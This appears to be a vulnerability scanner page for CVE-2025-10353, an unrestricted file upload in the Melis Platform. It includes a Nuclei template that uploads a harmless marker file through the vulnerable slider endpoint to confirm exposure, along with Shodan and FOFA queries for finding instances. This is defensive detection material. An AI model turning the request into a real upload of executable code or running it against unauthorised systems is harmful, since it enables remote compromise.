Melis Technology Melis Platform - Unrestricted File Upload & Remote Code Execution

criticalseverity

9.8CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Melis Technology Melis Platform contains an unrestricted file upload caused by insufficient validation of 'mcsdetail_img' parameter in /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm, letting attackers upload malicious files and achieve remote code execution, exploit requires crafted POST request.

Impact

Attackers can upload malicious files leading to remote code execution and full system compromise.

Fix

Update to the latest version with the vulnerability fixed.

How to confirm it

Send: POST /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm
Positive when: status_code == 200 and contains(body, "success") || contains(body, "uploaded")
Send: GET /media/sliders/0/{{filename}}
Positive when: status_code == 200 and contains(body, payload)

Run it with nuclei: nuclei -id CVE-2025-10353 -u <target>

The full check

id: CVE-2025-10353

info:
  name: Melis Technology Melis Platform - Unrestricted File Upload & Remote Code Execution
  author: ohmygod20260203
  severity: critical
  description: |
    Melis Technology Melis Platform contains an unrestricted file upload caused by insufficient validation of 'mcsdetail_img' parameter in /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm, letting attackers upload malicious files and achieve remote code execution, exploit requires crafted POST request.
  impact: |
    Attackers can upload malicious files leading to remote code execution and full system compromise.
  remediation: |
    Update to the latest version with the vulnerability fixed.
  reference:
    - https://github.com/ivansmc00/CVE-2025-10353-POC
    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-melis-platform
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-10353
    epss-score: 0.0266
    epss-percentile: 0.85819
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"/melis/MelisCms"
    fofa-query: body="/melis/MelisCms" || body="MelisDemoCms"
    product: melis-platform
    vendor: melis-technology
  tags: cve,cve2025,melis,cms,file-upload,rce,intrusive,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"
  filename: "{{rand}}.txt"
  payload: "CVE-2025-10353-{{rand}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{rand}}

        ------{{rand}}
        Content-Disposition: form-data; name="mcsdetail_mcslider_id"

        0
        ------{{rand}}
        Content-Disposition: form-data; name="mcsdetail_img"; filename="{{filename}}"
        Content-Type: text/plain

        {{payload}}
        ------{{rand}}--

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success") || contains(body, "uploaded")'
        condition: and

  - raw:
      - |
        GET /media/sliders/0/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, payload)'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'host + "/media/sliders/0/" + filename'

References

Use this check only on systems you are authorised to test. Where the data comes from